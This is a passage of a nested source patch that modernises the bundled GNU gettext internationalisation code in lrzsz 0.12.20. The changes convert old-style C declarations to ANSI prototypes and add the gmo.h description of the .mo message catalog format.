-+#endif
-+
- #include "loadinfo.h"
-
-+#include "gmo.h" /* Get nls_uint32. */
-+
- /* @@ end of prolog @@ */
-
--#ifndef PARAMS
--# if __STDC__
--# define PARAMS(args) args
--# else
--# define PARAMS(args) ()
--# endif
-+#ifndef internal_function
-+# define internal_function
-+#endif
-+
-+#ifndef attribute_hidden
-+# define attribute_hidden
-+#endif
-+
-+/* Tell the compiler when a conditional or integer expression is
-+ almost always true or almost always false. */
-+#ifndef HAVE_BUILTIN_EXPECT
-+# define __builtin_expect(expr, val) (expr)
- #endif
-
- #ifndef W
-@@ -35,38 +55,160 @@
- #endif
-
-
--static nls_uint32 SWAP PARAMS ((nls_uint32 i));
--
-+#ifdef _LIBC
-+# include <byteswap.h>
-+# define SWAP(i) bswap_32 (i)
-+#else
- static inline nls_uint32
- SWAP (i)
- nls_uint32 i;
- {
- return (i << 24) | ((i & 0xff00) << 8) | ((i >> 8) & 0xff00) | (i >> 24);
- }
-+#endif
-+
-
-+/* In-memory representation of system dependent string. */
-+struct sysdep_string_desc
-+{
-+ /* Length of addressed string, including the trailing NUL. */
-+ size_t length;
-+ /* Pointer to addressed string. */
-+ const char *pointer;
-+};
-
-+/* The representation of an opened message catalog. */
- struct loaded_domain
- {
-+ /* Pointer to memory containing the .mo file. */
- const char *data;
-+ /* 1 if the memory is mmap()ed, 0 if the memory is malloc()ed. */
-+ int use_mmap;
-+ /* Size of mmap()ed memory. */
-+ size_t mmap_size;
-+ /* 1 if the .mo file uses a different endianness than this machine. */
- int must_swap;
-+ /* Pointer to additional malloc()ed memory. */
-+ void *malloced;
-+
-+ /* Number of static strings pairs. */
- nls_uint32 nstrings;
-- struct string_desc *orig_tab;
-- struct string_desc *trans_tab;
-+ /* Pointer to descriptors of original strings in the file. */
-+ const struct string_desc *orig_tab;
-+ /* Pointer to descriptors of translated strings in the file. */
-+ const struct string_desc *trans_tab;
-+
-+ /* Number of system dependent strings pairs. */
-+ nls_uint32 n_sysdep_strings;
-+ /* Pointer to descriptors of original sysdep strings. */
-+ const struct sysdep_string_desc *orig_sysdep_tab;
-+ /* Pointer to descriptors of translated sysdep strings. */
-+ const struct sysdep_string_desc *trans_sysdep_tab;
-+
-+ /* Size of hash table. */
- nls_uint32 hash_size;
-- nls_uint32 *hash_tab;
-+ /* Pointer to hash table. */
-+ const nls_uint32 *hash_tab;
-+ /* 1 if the hash table uses a different endianness than this machine. */
-+ int must_swap_hash_tab;
-+
-+ int codeset_cntr;
-+#ifdef _LIBC
-+ __gconv_t conv;
-+#else
-+# if HAVE_ICONV
-+ iconv_t conv;
-+# endif
-+#endif
-+ char **conv_tab;
-+
-+ struct expression *plural;
-+ unsigned long int nplurals;
- };
-
-+/* We want to allocate a string at the end of the struct. But ISO C
-+ doesn't allow zero sized arrays. */
-+#ifdef __GNUC__
-+# define ZERO 0
-+#else
-+# define ZERO 1
-+#endif
-+
-+/* A set of settings bound to a message domain. Used to store settings
-+ from bindtextdomain() and bind_textdomain_codeset(). */
- struct binding
- {
- struct binding *next;
-- char *domainname;
- char *dirname;
-+ int codeset_cntr; /* Incremented each time codeset changes. */
-+ char *codeset;
-+ char domainname[ZERO];
- };
-
--struct loaded_l10nfile *_nl_find_domain PARAMS ((const char *__dirname,
-- char *__locale,
-- const char *__domainname));
--void _nl_load_domain PARAMS ((struct loaded_l10nfile *__domain));
-+/* A counter which is incremented each time some previous translations
-+ become invalid.
-+ This variable is part of the external ABI of the GNU libintl. */
-+extern int _nl_msg_cat_cntr;
-+
-+#ifndef _LIBC
-+const char *_nl_locale_name (int category, const char *categoryname);
-+#endif
-+
-+struct loaded_l10nfile *_nl_find_domain (const char *__dirname, char *__locale,
-+ const char *__domainname,
-+ struct binding *__domainbinding)
-+ internal_function;
-+void _nl_load_domain (struct loaded_l10nfile *__domain,
-+ struct binding *__domainbinding)
-+ internal_function;
-+void _nl_unload_domain (struct loaded_domain *__domain)
-+ internal_function;
-+const char *_nl_init_domain_conv (struct loaded_l10nfile *__domain_file,
-+ struct loaded_domain *__domain,
-+ struct binding *__domainbinding)
-+ internal_function;
-+void _nl_free_domain_conv (struct loaded_domain *__domain)
-+ internal_function;
-+
-+char *_nl_find_msg (struct loaded_l10nfile *domain_file,
-+ struct binding *domainbinding, const char *msgid,
-+ size_t *lengthp)
-+ internal_function;
-+
-+#ifdef _LIBC
-+extern char *__gettext (const char *__msgid);
-+extern char *__dgettext (const char *__domainname, const char *__msgid);
-+extern char *__dcgettext (const char *__domainname, const char *__msgid,
-+ int __category);
-+extern char *__ngettext (const char *__msgid1, const char *__msgid2,
-+ unsigned long int __n);
-+extern char *__dngettext (const char *__domainname,
-+ const char *__msgid1, const char *__msgid2,
-+ unsigned long int n);
-+extern char *__dcngettext (const char *__domainname,
-+ const char *__msgid1, const char *__msgid2,
-+ unsigned long int __n, int __category);
-+extern char *__dcigettext (const char *__domainname,
-+ const char *__msgid1, const char *__msgid2,
-+ int __plural, unsigned long int __n,
-+ int __category);
-+extern char *__textdomain (const char *__domainname);
-+extern char *__bindtextdomain (const char *__domainname,
-+ const char *__dirname);
-+extern char *__bind_textdomain_codeset (const char *__domainname,
-+ const char *__codeset);
-+#else
-+/* Declare the exported libintl_* functions, in a way that allows us to
-+ call them under their real name. */
-+# undef _INTL_REDIRECT_INLINE
-+# undef _INTL_REDIRECT_MACROS
-+# define _INTL_REDIRECT_MACROS
-+# include "libgnuintl.h"
-+extern char *libintl_dcigettext (const char *__domainname,
-+ const char *__msgid1, const char *__msgid2,
-+ int __plural, unsigned long int __n,
-+ int __category);
-+#endif
-
- /* @@ begin of epilog @@ */
-
---- lrzsz-0.12.20.safe/intl/gmo.h 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/gmo.h 2004-09-12 14:40:34.431736536 -0400
-@@ -0,0 +1,149 @@
-+/* Description of GNU message catalog format: general file layout.
-+ Copyright (C) 1995, 1997, 2000-2002, 2004 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef _GETTEXT_H
-+#define _GETTEXT_H 1
-+
-+#include <limits.h>
-+
-+/* @@ end of prolog @@ */
-+
-+/* The magic number of the GNU message catalog format. */
-+#define _MAGIC 0x950412de
-+#define _MAGIC_SWAPPED 0xde120495
-+
-+/* Revision number of the currently used .mo (binary) file format. */
-+#define MO_REVISION_NUMBER 0
-+#define MO_REVISION_NUMBER_WITH_SYSDEP_I 1
-+
-+/* The following contortions are an attempt to use the C preprocessor
-+ to determine an unsigned integral type that is 32 bits wide. An
-+ alternative approach is to use autoconf's AC_CHECK_SIZEOF macro, but
-+ as of version autoconf-2.13, the AC_CHECK_SIZEOF macro doesn't work
-+ when cross-compiling. */
-+
-+#if __STDC__
-+# define UINT_MAX_32_BITS 4294967295U
-+#else
-+# define UINT_MAX_32_BITS 0xFFFFFFFF
-+#endif
-+
-+/* If UINT_MAX isn't defined, assume it's a 32-bit type.
-+ This should be valid for all systems GNU cares about because
-+ that doesn't include 16-bit systems, and only modern systems
-+ (that certainly have <limits.h>) have 64+-bit integral types. */
-+
-+#ifndef UINT_MAX
-+# define UINT_MAX UINT_MAX_32_BITS
-+#endif
-+
-+#if UINT_MAX == UINT_MAX_32_BITS
-+typedef unsigned nls_uint32;
-+#else
-+# if USHRT_MAX == UINT_MAX_32_BITS
-+typedef unsigned short nls_uint32;
-+# else
-+# if ULONG_MAX == UINT_MAX_32_BITS
-+typedef unsigned long nls_uint32;
-+# else
-+ /* The following line is intended to throw an error. Using #error is
-+ not portable enough. */
-+ "Cannot determine unsigned 32-bit data type."
-+# endif
-+# endif
-+#endif
-+
-+
-+/* Header for binary .mo file format. */
-+struct mo_file_header
-+{
-+ /* The magic number. */
-+ nls_uint32 magic;
-+ /* The revision number of the file format. */
-+ nls_uint32 revision;
-+
-+ /* The following are only used in .mo files with major revision 0 or 1. */
-+
-+ /* The number of strings pairs. */
-+ nls_uint32 nstrings;
-+ /* Offset of table with start offsets of original strings. */
-+ nls_uint32 orig_tab_offset;
-+ /* Offset of table with start offsets of translated strings. */
-+ nls_uint32 trans_tab_offset;
-+ /* Size of hash table. */
-+ nls_uint32 hash_tab_size;
-+ /* Offset of first hash table entry. */
-+ nls_uint32 hash_tab_offset;
-+
-+ /* The following are only used in .mo files with minor revision >= 1. */
-+
-+ /* The number of system dependent segments. */
-+ nls_uint32 n_sysdep_segments;
-+ /* Offset of table describing system dependent segments. */
-+ nls_uint32 sysdep_segments_offset;
-+ /* The number of system dependent strings pairs. */
-+ nls_uint32 n_sysdep_strings;
-+ /* Offset of table with start offsets of original sysdep strings. */
-+ nls_uint32 orig_sysdep_tab_offset;
-+ /* Offset of table with start offsets of translated sysdep strings. */
-+ nls_uint32 trans_sysdep_tab_offset;
-+};
-+
-+/* Descriptor for static string contained in the binary .mo file. */
-+struct string_desc
-+{
-+ /* Length of addressed string, not including the trailing NUL. */
-+ nls_uint32 length;
-+ /* Offset of string in file. */
-+ nls_uint32 offset;
-+};
-+
-+/* The following are only used in .mo files with minor revision >= 1. */
-+
-+/* Descriptor for system dependent string segment. */
-+struct sysdep_segment
-+{
-+ /* Length of addressed string, including the trailing NUL. */
-+ nls_uint32 length;
-+ /* Offset of string in file. */
-+ nls_uint32 offset;
-+};
-+
-+/* Descriptor for system dependent string. */
-+struct sysdep_string
-+{
-+ /* Offset of static string segments in file. */
-+ nls_uint32 offset;
-+ /* Alternating sequence of static and system dependent segments.
-+ The last segment is a static segment, including the trailing NUL. */
-+ struct segment_pair
-+ {
-+ /* Size of static segment. */
-+ nls_uint32 segsize;
-+ /* Reference to system dependent string segment, or ~0 at the end. */
-+ nls_uint32 sysdepref;
-+ } segments[1];
-+};
-+
-+/* Marker for the end of the segments[] array. This has the value 0xFFFFFFFF,
-+ regardless whether 'int' is 16 bit, 32 bit, or 64 bit. */
-+#define SEGMENTS_END ((nls_uint32) ~0)
-+
-+/* @@ begin of epilog @@ */
-+
-+#endif /* gettext.h */
---- lrzsz-0.12.20.safe/intl/hash-string.h 1998-04-26 09:22:36.000000000 -0400
-+++ lrzsz-0.12.20/intl/hash-string.h 2004-09-12 14:40:34.436735776 -0400
-@@ -1,35 +1,23 @@
--/* Implements a string hashing function.
-- Copyright (C) 1995, 1997 Free Software Foundation, Inc.
-+/* Description of GNU message catalog format: string hashing function.
-+ Copyright (C) 1995, 1997-1998, 2000-2003 Free Software Foundation, Inc.
-
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
- any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
- You should have received a copy of the GNU Library General Public
-- License along with the GNU C Library; see the file COPYING.LIB. If not,
-- write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
-- Boston, MA 02111-1307, USA. */
--
--#ifdef HAVE_VALUES_H
--# include <values.h>
--#endif
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-
- /* @@ end of prolog @@ */
-
--#ifndef PARAMS
--# if __STDC__
--# define PARAMS(Args) Args
--# else
--# define PARAMS(Args) ()
--# endif
--#endif
--
- /* We assume to have `unsigned long int' value with at least 32 bits. */
- #define HASHWORDBITS 32
-
-@@ -37,11 +25,8 @@
- /* Defines the so called `hashpjw' function by P.J. Weinberger
- [see Aho/Sethi/Ullman, COMPILERS: Principles, Techniques and Tools,
- 1986, 1987 Bell Telephone Laboratories, Inc.] */
--static unsigned long hash_string PARAMS ((const char *__str_param));
--
--static inline unsigned long
--hash_string (str_param)
-- const char *str_param;
-+static inline unsigned long int
-+hash_string (const char *str_param)
- {
- unsigned long int hval, g;
- const char *str = str_param;
-@@ -51,8 +36,8 @@
- while (*str != '\0')
- {
- hval <<= 4;
-- hval += (unsigned long) *str++;
-- g = hval & ((unsigned long) 0xf << (HASHWORDBITS - 4));
-+ hval += (unsigned char) *str++;
-+ g = hval & ((unsigned long int) 0xf << (HASHWORDBITS - 4));
- if (g != 0)
- {
- hval ^= g >> (HASHWORDBITS - 8);
---- lrzsz-0.12.20.safe/intl/intl-compat.c 1998-04-26 09:20:52.000000000 -0400
-+++ lrzsz-0.12.20/intl/intl-compat.c 2004-09-12 14:40:34.441735016 -0400
-@@ -1,76 +1,131 @@
- /* intl-compat.c - Stub functions to call gettext functions from GNU gettext
- Library.
-- Copyright (C) 1995 Software Foundation, Inc.
-+ Copyright (C) 1995, 2000-2003 Software Foundation, Inc.
-
--This program is free software; you can redistribute it and/or modify
--it under the terms of the GNU General Public License as published by
--the Free Software Foundation; either version 2, or (at your option)
--any later version.
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-
--This program is distributed in the hope that it will be useful,
--but WITHOUT ANY WARRANTY; without even the implied warranty of
--MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--GNU General Public License for more details.
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
--You should have received a copy of the GNU General Public License
--along with this program; if not, write to the Free Software
--Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-
- #ifdef HAVE_CONFIG_H
- # include <config.h>
- #endif
-
--#include "libgettext.h"
-+#include "gettextP.h"
-
- /* @@ end of prolog @@ */
-
-+/* This file redirects the gettext functions (without prefix) to those
-+ defined in the included GNU libintl library (with "libintl_" prefix).
-+ It is compiled into libintl in order to make the AM_GNU_GETTEXT test
-+ of gettext <= 0.11.2 work with the libintl library >= 0.11.3 which
-+ has the redirections primarily in the <libintl.h> include file.
-+ It is also compiled into libgnuintl so that libgnuintl.so can be used
-+ as LD_PRELOADable library on glibc systems, to provide the extra
-+ features that the functions in the libc don't have (namely, logging). */
-+
-
- #undef gettext
- #undef dgettext
- #undef dcgettext
-+#undef ngettext
-+#undef dngettext
-+#undef dcngettext
- #undef textdomain
- #undef bindtextdomain
-+#undef bind_textdomain_codeset
-+
-+
-+/* When building a DLL, we must export some functions. Note that because
-+ the functions are only defined for binary backward compatibility, we
-+ don't need to use __declspec(dllimport) in any case. */
-+#if defined _MSC_VER && BUILDING_DLL
-+# define DLL_EXPORTED __declspec(dllexport)
-+#else
-+# define DLL_EXPORTED
-+#endif
-
-
-+DLL_EXPORTED
- char *
--bindtextdomain (domainname, dirname)
-- const char *domainname;
-- const char *dirname;
-+gettext (const char *msgid)
- {
-- return bindtextdomain__ (domainname, dirname);
-+ return libintl_gettext (msgid);
- }
-
-
-+DLL_EXPORTED
- char *
--dcgettext (domainname, msgid, category)
-- const char *domainname;
-- const char *msgid;
-- int category;
-+dgettext (const char *domainname, const char *msgid)
- {
-- return dcgettext__ (domainname, msgid, category);
-+ return libintl_dgettext (domainname, msgid);
- }
-
-
-+DLL_EXPORTED
- char *
--dgettext (domainname, msgid)
-- const char *domainname;
-- const char *msgid;
-+dcgettext (const char *domainname, const char *msgid, int category)
- {
-- return dgettext__ (domainname, msgid);
-+ return libintl_dcgettext (domainname, msgid, category);
- }
-
-
-+DLL_EXPORTED
- char *
--gettext (msgid)
-- const char *msgid;
-+ngettext (const char *msgid1, const char *msgid2, unsigned long int n)
- {
-- return gettext__ (msgid);
-+ return libintl_ngettext (msgid1, msgid2, n);
- }
-
-
-+DLL_EXPORTED
- char *
--textdomain (domainname)
-- const char *domainname;
-+dngettext (const char *domainname,
-+ const char *msgid1, const char *msgid2, unsigned long int n)
- {
-- return textdomain__ (domainname);
-+ return libintl_dngettext (domainname, msgid1, msgid2, n);
-+}
-+
-+
-+DLL_EXPORTED
-+char *
-+dcngettext (const char *domainname,
-+ const char *msgid1, const char *msgid2, unsigned long int n,
-+ int category)
-+{
-+ return libintl_dcngettext (domainname, msgid1, msgid2, n, category);
-+}
-+
-+
-+DLL_EXPORTED
-+char *
-+textdomain (const char *domainname)
-+{
-+ return libintl_textdomain (domainname);
-+}
-+
-+
-+DLL_EXPORTED
-+char *
-+bindtextdomain (const char *domainname, const char *dirname)
-+{
-+ return libintl_bindtextdomain (domainname, dirname);
-+}
-+
-+
-+DLL_EXPORTED
-+char *
-+bind_textdomain_codeset (const char *domainname, const char *codeset)
-+{
-+ return libintl_bind_textdomain_codeset (domainname, codeset);
- }
---- lrzsz-0.12.20.safe/intl/l10nflist.c 1998-04-26 09:22:37.000000000 -0400
-+++ lrzsz-0.12.20/intl/l10nflist.c 2004-09-12 14:40:34.457732584 -0400
-@@ -1,52 +1,40 @@
--/* Handle list of needed message catalogs
-- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
-- Written by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
-+/* Copyright (C) 1995-1999, 2000-2003 Free Software Foundation, Inc.
-+ Contributed by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
-
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2, or (at your option)
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
- any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+/* Tell glibc's <string.h> to provide a prototype for stpcpy().
-+ This must come before <config.h> because <config.h> may include
-+ <features.h>, and once <features.h> has been included, it's too late. */
-+#ifndef _GNU_SOURCE
-+# define _GNU_SOURCE 1
-+#endif
-
- #ifdef HAVE_CONFIG_H
- # include <config.h>
- #endif
-
--
--#if defined HAVE_STRING_H || defined _LIBC
--# ifndef _GNU_SOURCE
--# define _GNU_SOURCE 1
--# endif
--# include <string.h>
--#else
--# include <strings.h>
--# ifndef memcpy
--# define memcpy(Dst, Src, Num) bcopy (Src, Dst, Num)
--# endif
--#endif
--#if !HAVE_STRCHR && !defined _LIBC
--# ifndef strchr
--# define strchr index
--# endif
--#endif
-+#include <string.h>
-
- #if defined _LIBC || defined HAVE_ARGZ_H
- # include <argz.h>
- #endif
- #include <ctype.h>
- #include <sys/types.h>
--
--#if defined STDC_HEADERS || defined _LIBC
--# include <stdlib.h>
--#endif
-+#include <stdlib.h>
-
- #include "loadinfo.h"
-
-@@ -65,23 +53,39 @@
- /* Rename the non ANSI C functions. This is required by the standard
- because some ANSI C functions will require linking with this object
- file and the name space must not be polluted. */
--# define stpcpy(dest, src) __stpcpy(dest, src)
-+# ifndef stpcpy
-+# define stpcpy(dest, src) __stpcpy(dest, src)
-+# endif
- #else
- # ifndef HAVE_STPCPY
--static char *stpcpy PARAMS ((char *dest, const char *src));
-+static char *stpcpy (char *dest, const char *src);
- # endif
- #endif
-
-+/* Pathname support.
-+ ISSLASH(C) tests whether C is a directory separator character.
-+ IS_ABSOLUTE_PATH(P) tests whether P is an absolute path. If it is not,
-+ it may be concatenated to a directory pathname.
-+ */
-+#if defined _WIN32 || defined __WIN32__ || defined __EMX__ || defined __DJGPP__
-+ /* Win32, OS/2, DOS */
-+# define ISSLASH(C) ((C) == '/' || (C) == '\\')
-+# define HAS_DEVICE(P) \
-+ ((((P)[0] >= 'A' && (P)[0] <= 'Z') || ((P)[0] >= 'a' && (P)[0] <= 'z')) \
-+ && (P)[1] == ':')
-+# define IS_ABSOLUTE_PATH(P) (ISSLASH ((P)[0]) || HAS_DEVICE (P))
-+#else
-+ /* Unix */
-+# define ISSLASH(C) ((C) == '/')
-+# define IS_ABSOLUTE_PATH(P) ISSLASH ((P)[0])
-+#endif
-+
- /* Define function which are usually not available. */
-
- #if !defined _LIBC && !defined HAVE___ARGZ_COUNT
- /* Returns the number of strings in ARGZ. */
--static size_t argz_count__ PARAMS ((const char *argz, size_t len));
--
- static size_t
--argz_count__ (argz, len)
-- const char *argz;
-- size_t len;
-+argz_count__ (const char *argz, size_t len)
- {
- size_t count = 0;
- while (len > 0)
-@@ -95,18 +99,17 @@
- }
- # undef __argz_count
- # define __argz_count(argz, len) argz_count__ (argz, len)
-+#else
-+# ifdef _LIBC
-+# define __argz_count(argz, len) INTUSE(__argz_count) (argz, len)
-+# endif
- #endif /* !_LIBC && !HAVE___ARGZ_COUNT */
-
- #if !defined _LIBC && !defined HAVE___ARGZ_STRINGIFY
- /* Make '\0' separated arg vector ARGZ printable by converting all the '\0's
- except the last into the character SEP. */
--static void argz_stringify__ PARAMS ((char *argz, size_t len, int sep));
--
- static void
--argz_stringify__ (argz, len, sep)
-- char *argz;
-- size_t len;
-- int sep;
-+argz_stringify__ (char *argz, size_t len, int sep)
- {
- while (len > 0)
- {
-@@ -119,17 +122,16 @@
- }
- # undef __argz_stringify
- # define __argz_stringify(argz, len, sep) argz_stringify__ (argz, len, sep)
-+#else
-+# ifdef _LIBC
-+# define __argz_stringify(argz, len, sep) \
-+ INTUSE(__argz_stringify) (argz, len, sep)
-+# endif
- #endif /* !_LIBC && !HAVE___ARGZ_STRINGIFY */
-
- #if !defined _LIBC && !defined HAVE___ARGZ_NEXT
--static char *argz_next__ PARAMS ((char *argz, size_t argz_len,
-- const char *entry));
--
- static char *
--argz_next__ (argz, argz_len, entry)
-- char *argz;
-- size_t argz_len;
-- const char *entry;
-+argz_next__ (char *argz, size_t argz_len, const char *entry)
- {
- if (entry)
- {
-@@ -150,11 +152,8 @@
-
-
- /* Return number of bits set in X. */
--static int pop PARAMS ((int x));
--
- static inline int
--pop (x)
-- int x;
-+pop (int x)
- {
- /* We assume that no more than 16 bits are used. */
- x = ((x & ~0x5555) >> 1) + (x & 0x5555);
-@@ -167,31 +166,27 @@
-
-
- struct loaded_l10nfile *
--_nl_make_l10nflist (l10nfile_list, dirlist, dirlist_len, mask, language,
-- territory, codeset, normalized_codeset, modifier, special,
-- sponsor, revision, filename, do_allocate)
-- struct loaded_l10nfile **l10nfile_list;
-- const char *dirlist;
-- size_t dirlist_len;
-- int mask;
-- const char *language;
-- const char *territory;
-- const char *codeset;
-- const char *normalized_codeset;
-- const char *modifier;
-- const char *special;
-- const char *sponsor;
-- const char *revision;
-- const char *filename;
-- int do_allocate;
-+_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
-+ const char *dirlist, size_t dirlist_len,
-+ int mask, const char *language, const char *territory,
-+ const char *codeset, const char *normalized_codeset,
-+ const char *modifier, const char *special,
-+ const char *sponsor, const char *revision,
-+ const char *filename, int do_allocate)
- {
- char *abs_filename;
-- struct loaded_l10nfile *last = NULL;
-+ struct loaded_l10nfile **lastp;
- struct loaded_l10nfile *retval;
- char *cp;
-+ size_t dirlist_count;
- size_t entries;
- int cnt;
-
-+ /* If LANGUAGE contains an absolute directory specification, we ignore
-+ DIRLIST. */
-+ if (IS_ABSOLUTE_PATH (language))
-+ dirlist_len = 0;
-+
- /* Allocate room for the full file name. */
- abs_filename = (char *) malloc (dirlist_len
- + strlen (language)
-@@ -209,7 +204,7 @@
- + (((mask & CEN_SPONSOR) != 0
- || (mask & CEN_REVISION) != 0)
- ? (1 + ((mask & CEN_SPONSOR) != 0
-- ? strlen (sponsor) + 1 : 0)
-+ ? strlen (sponsor) : 0)
- + ((mask & CEN_REVISION) != 0
- ? strlen (revision) + 1 : 0)) : 0)
- + 1 + strlen (filename) + 1);
-@@ -217,14 +212,16 @@
- if (abs_filename == NULL)
- return NULL;
-
-- retval = NULL;
-- last = NULL;
--
- /* Construct file name. */
-- memcpy (abs_filename, dirlist, dirlist_len);
-- __argz_stringify (abs_filename, dirlist_len, ':');
-- cp = abs_filename + (dirlist_len - 1);
-- *cp++ = '/';
-+ cp = abs_filename;
-+ if (dirlist_len > 0)
-+ {
-+ memcpy (cp, dirlist, dirlist_len);
-+ __argz_stringify (cp, dirlist_len, PATH_SEPARATOR);
-+ cp += dirlist_len;
-+ cp[-1] = '/';
-+ }
-+
- cp = stpcpy (cp, language);
-
- if ((mask & TERRITORY) != 0)
-@@ -271,7 +268,7 @@
-
- /* Look in list of already loaded domains whether it is already
- available. */
-- last = NULL;
-+ lastp = l10nfile_list;
- for (retval = *l10nfile_list; retval != NULL; retval = retval->next)
- if (retval->filename != NULL)
- {
-@@ -286,7 +283,7 @@
- break;
- }
-
-- last = retval;
-+ lastp = &retval->next;
- }
-
- if (retval != NULL || do_allocate == 0)
-@@ -295,48 +292,66 @@
- return retval;
- }
-
-- retval = (struct loaded_l10nfile *)
-- malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
-- * (1 << pop (mask))
-- * sizeof (struct loaded_l10nfile *)));
-+ dirlist_count = (dirlist_len > 0 ? __argz_count (dirlist, dirlist_len) : 1);
-+
-+ /* Allocate a new loaded_l10nfile. */
-+ retval =
-+ (struct loaded_l10nfile *)
-+ malloc (sizeof (*retval)
-+ + (((dirlist_count << pop (mask)) + (dirlist_count > 1 ? 1 : 0))
-+ * sizeof (struct loaded_l10nfile *)));
- if (retval == NULL)
- return NULL;
-
- retval->filename = abs_filename;
-- retval->decided = (__argz_count (dirlist, dirlist_len) != 1
-+
-+ /* We set retval->data to NULL here; it is filled in later.
-+ Setting retval->decided to 1 here means that retval does not
-+ correspond to a real file (dirlist_count > 1) or is not worth
-+ looking up (if an unnormalized codeset was specified). */
-+ retval->decided = (dirlist_count > 1
- || ((mask & XPG_CODESET) != 0
- && (mask & XPG_NORM_CODESET) != 0));
- retval->data = NULL;
-
-- if (last == NULL)
-- {
-- retval->next = *l10nfile_list;
-- *l10nfile_list = retval;
-- }
-- else
-- {
-- retval->next = last->next;
-- last->next = retval;
-- }
-+ retval->next = *lastp;
-+ *lastp = retval;
-
- entries = 0;
-- /* If the DIRLIST is a real list the RETVAL entry corresponds not to
-- a real file. So we have to use the DIRLIST separation mechanism
-- of the inner loop. */
-- cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
-- for (; cnt >= 0; --cnt)
-+ /* Recurse to fill the inheritance list of RETVAL.
-+ If the DIRLIST is a real list (i.e. DIRLIST_COUNT > 1), the RETVAL
-+ entry does not correspond to a real file; retval->filename contains
-+ colons. In this case we loop across all elements of DIRLIST and
-+ across all bit patterns dominated by MASK.
-+ If the DIRLIST is a single directory or entirely redundant (i.e.
-+ DIRLIST_COUNT == 1), we loop across all bit patterns dominated by
-+ MASK, excluding MASK itself.
-+ In either case, we loop down from MASK to 0. This has the effect
-+ that the extra bits in the locale name are dropped in this order:
-+ first the modifier, then the territory, then the codeset, then the
-+ normalized_codeset. */
-+ for (cnt = dirlist_count > 1 ? mask : mask - 1; cnt >= 0; --cnt)
- if ((cnt & ~mask) == 0
- && ((cnt & CEN_SPECIFIC) == 0 || (cnt & XPG_SPECIFIC) == 0)
- && ((cnt & XPG_CODESET) == 0 || (cnt & XPG_NORM_CODESET) == 0))
- {
-- /* Iterate over all elements of the DIRLIST. */
-- char *dir = NULL;
-+ if (dirlist_count > 1)
-+ {
-+ /* Iterate over all elements of the DIRLIST. */
-+ char *dir = NULL;
-
-- while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
-- != NULL)
-+ while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
-+ != NULL)
-+ retval->successor[entries++]
-+ = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1,
-+ cnt, language, territory, codeset,
-+ normalized_codeset, modifier, special,
-+ sponsor, revision, filename, 1);
-+ }
-+ else
- retval->successor[entries++]
-- = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
-- language, territory, codeset,
-+ = _nl_make_l10nflist (l10nfile_list, dirlist, dirlist_len,
-+ cnt, language, territory, codeset,
- normalized_codeset, modifier, special,
- sponsor, revision, filename, 1);
- }
-@@ -347,11 +362,10 @@
-
- /* Normalize codeset name. There is no standard for the codeset
- names. Normalization allows the user to use any of the common
-- names. */
-+ names. The return value is dynamically allocated and has to be
-+ freed by the caller. */
- const char *
--_nl_normalize_codeset (codeset, name_len)
-- const char *codeset;
-- size_t name_len;
